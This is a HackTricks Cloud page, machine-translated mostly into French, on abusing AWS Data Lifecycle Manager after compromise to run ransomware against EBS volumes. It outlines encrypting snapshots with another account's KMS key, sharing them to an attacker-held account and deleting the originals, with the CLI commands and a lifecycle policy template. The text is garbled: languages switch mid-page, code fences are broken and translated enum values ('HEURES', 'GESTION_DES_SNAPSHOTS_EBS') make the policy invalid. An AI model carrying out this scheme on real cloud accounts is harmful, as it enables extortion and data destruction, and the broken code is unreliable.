AWS - DLM Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Gestionnaire de cycle de vie des données (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Une attaque par ransomware peut être exécutée en chiffrant autant de volumes EBS que possible, puis en effaçant les instances EC2 actuelles, les volumes EBS et les instantanés. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, chiffrer les instantanés avec une clé KMS d'un autre compte AWS et transférer les instantanés chiffrés vers un compte différent. Alternativement, ils pourraient transférer des instantanés sans chiffrement vers un compte qu'ils gèrent, puis les chiffrer là-bas. Bien qu'il ne soit pas directement possible de chiffrer directement les volumes EBS ou les instantanés existants, il est possible de le faire en créant un nouveau volume ou instantané.

Tout d'abord, on utilisera une commande pour recueillir des informations sur les volumes, telles que l'ID de l'instance, l'ID du volume, l'état de chiffrement, l'état de l'attachement et le type de volume. aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

```json
{
  "aws dlm create-lifecycle-policy": "--description \"Ma première politique\" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json"
}

A template for the policy document can be seen here:
```bash
```json
{
"PolicyType": "GESTION_DES_SNAPSHOTS_EBS",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "CléExemple",
"Value": "ValeurExemple"
}
],
"Schedules": [
{
"Name": "SnapshotsQuotidiens",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "CréateurDuSnapshot",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CentreDeCoût",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HEURES",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HEURES"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "JOURS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "JOURS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Dernière mise à jour